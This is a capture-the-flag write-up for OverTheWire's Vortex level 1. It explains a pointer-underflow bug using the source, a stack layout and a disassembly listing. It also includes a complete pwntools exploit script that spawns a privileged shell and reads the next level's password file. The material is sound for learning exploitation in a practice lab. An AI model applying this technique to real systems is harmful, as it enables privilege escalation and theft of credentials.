Vortex Level 1
21 Oct 2015 • NatriThis is a solution guide to the Vortex Level 01 at overthewire. This write-up was created on 21 October 2015.
- Once logged in, navigate to /vortex/
- Execute program and see what a standard output gives
- Examine the source code given
- Write the exploit
Standard Output
So we can see that it does input our ‘aaaa’ in the middle of the buffer as expected by the source code.
Examine Source Code
The end state is that we want the following code to run and in order to do that we need to make sure the unsigned integer value at ptr is 0xca000000 when AND with 0xff000000
Looking at how the variables are declared:
- buf is an array of char
- ptr is a pointer to location of buf + half the size of buf; so esentially it is pointing to the 256th element in buf at the time of declaration See indexing of pointers. Any time we call ptr we are getting an address value
What if we didn’t have the source code, how would we find this vulnerability? Look at the disassembly of the code (see bottom section on ‘Determining the stack’)
The vulnerability in this program is in the loop section of code. There are three types of characters that can make an action happen:
- A New Line
- This case is triggered when we press return
- Will print out what is in buf
- Backslash ‘\’
- Decriments ptr
- This is good because ptr is a pointer and by decrimenting it the address decriments
- KEY: It is this code that is going to allow us to do a buffer overflow at the bottom of the stack
- Anything Else
- Executes the e() function
- Checks to see if ptr has gone pass buf array size; to prevent buffer overflow at the top of the stack
- Writes the value of current char into the address ptr is currently at; this is how we are going to get 0xca into the stack
1
2
3
4
5
6
7
while((x = getchar()) != EOF) {
switch(x) {
case '\n': print(buf, sizeof(buf)); continue; break;
case '\\': ptr--; break;
default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
}
}
Write the expliot
We have all the tools we need to take advantage of the buffer overflow at the bottom of the stack.
- Determine where to write
- Take ptr to that point
- Write the value 0xca
- Get the function e() to execute
- Grab the flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
import time
HOST = 'votex.labs.overthewire.org'
USERNAME = 'vortex1'
PASS = ''
s = ssh(host=HOST, user=USERNAME, password=PASS)
location = "/vortex"
file_name = '%s/vortex1' % location
password_file = '/etc/vortex_pass/vortex2'
r = s.run(file_name)
#need to overwrite the MSB of the ptr variable; through stack analysis I found this
buff_size = 512
ptr_loc = buff_size / 2
getchar_size = 4
#location of where we want to write 0xca so we can pass the if statement and setresuid
where_to_write = ptr_loc + getchar_size + 1
r.send('\\' * where_to_write) #move ptr to the place we want to write
r.send('\xca') #write the value we want
r.send('\\') #send the pointer back one
r.send('\xff') #this value doesn't matter just want to make sure the case that initiates function e() gets triggered
#get rid of any junk from the buffer
r.clean()
#give time for hack to work
time.sleep(1)
r.sendline('cat %s' % password_file) #read the password file
log.success('Password: %s' % r.recv().strip()) #log the password on screen
Determining the Stack
To find out vulnerabilities to smash the stack we need to see how the stack is made and utilized. Looking at the disassembly of the main procedure below lets build the stack:
- 080485c8: makes the stack 0x220 in size
- 080485ce and 080485d4: creates the stack canary to ensure the top of the stack doesn’t get corrupted; so since it puts an address at esp+0x21c that is the 0x4 size needed for an address of 32-bit address
- Set the ptr address:
- 080485dd: grabs the memory location of the buffer array
- 080485e1: takes memory address and adds 0x100 (this is 256 decimal which is half the buffer size; matches source code)
- 080485e6: Puts that value onto the stack
- 0804868e and 08048693: the getchar c function is called and value is stored in stack at memory location esp+0x18
- Now our stack looks like this
Variable | Position on the stack (esp + x) | stack size | notes |
ptr | 0x14 | 4 | initial value should be [buf+0x100] |
getchar value | 0x18 | 0x4 | |
buf variable | 0x1c | 0x200 | |
canary | 0x21c | 4 |
So now we know what the stack looks like so we can manipulate it. So we need to set the value in ptr and can do so by manipulating ptr until we get to where we can modify the MSB of ptr. So ptr starts at 0x11c (0x1c + 0x100) and we want to get to 0x17 (MSB of ptr since words/addresses are read in reverse order) therefore we want to go back 0x105 (261).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
main:
080485c0 push ebp ; XREF=_start+23
080485c1 mov ebp, esp
080485c3 push esi
080485c4 push ebx
080485c5 and esp, 0xfffffff0
080485c8 sub esp, 0x220
080485ce mov eax, dword [gs:0x14]
080485d4 mov dword [ss:esp+0x21c], eax
080485db xor eax, eax
080485dd lea eax, dword [ss:esp+0x1c]
080485e1 add eax, 0x100
080485e6 mov dword [ss:esp+0x14], eax
080485ea jmp 0x804868e
080485ef mov eax, dword [ss:esp+0x18] ; XREF=main+220
080485f3 cmp eax, 0xa
080485f6 je 0x80485ff
080485f8 cmp eax, 0x5c
080485fb je 0x8048615
080485fd jmp 0x804861c
080485ff mov dword [ss:esp+0x4], 0x200 ; argument #2 for method print, XREF=main+54
08048607 lea eax, dword [ss:esp+0x1c]
0804860b mov dword [ss:esp], eax ; argument #1 for method print
0804860e call print
08048613 jmp 0x804868e
08048615 sub dword [ss:esp+0x14], 0x1 ; ptr back one, XREF=main+59
0804861a jmp 0x804868e
0804861c mov eax, dword [ss:esp+0x14] ; XREF=main+61
08048620 and eax, 0xff000000
08048625 cmp eax, 0xca000000
0804862a jne 0x804866b
0804862c call j_geteuid
08048631 mov esi, eax
08048633 call j_geteuid
08048638 mov ebx, eax
0804863a call j_geteuid
0804863f mov dword [ss:esp+0x8], esi
08048643 mov dword [ss:esp+0x4], ebx
08048647 mov dword [ss:esp], eax
0804864a call j_setresuid
0804864f mov dword [ss:esp+0x8], 0x0
08048657 mov dword [ss:esp+0x4], 0x804876a ; argument "arg0" for method j_execlp
0804865f mov dword [ss:esp], 0x804876d ; "/bin/sh", argument "file" for method j_execlp
08048666 call j_execlp
0804866b lea eax, dword [ss:esp+0x1c] ; XREF=main+106
0804866f add eax, 0x200
08048674 cmp dword [ss:esp+0x14], eax
08048678 jbe 0x804867c
0804867a jmp 0x804868d
0804867c mov eax, dword [ss:esp+0x14] ; XREF=main+184
08048680 lea edx, dword [ds:eax+0x1]
08048683 mov dword [ss:esp+0x14], edx
08048687 mov edx, dword [ss:esp+0x18]
0804868b mov byte [ds:eax], dl
0804868d nop ; XREF=main+186
0804868e call j_getchar ; XREF=main+42, main+83, main+90
08048693 mov dword [ss:esp+0x18], eax
08048697 cmp dword [ss:esp+0x18], 0xffffffff
0804869c jne 0x80485ef
080486a2 mov dword [ss:esp], 0x8048775 ; "All done", argument "s" for method j_puts
080486a9 call j_puts
080486ae mov eax, 0x0
080486b3 mov ecx, dword [ss:esp+0x21c]
080486ba xor ecx, dword [gs:0x14]
080486c1 je 0x80486c8
080486c3 call j___stack_chk_fail
080486c8 lea esp, dword [ss:ebp+var_8] ; XREF=main+257
080486cb pop ebx
080486cc pop esi
080486cd pop ebp
080486ce ret
; endp
080486cf nop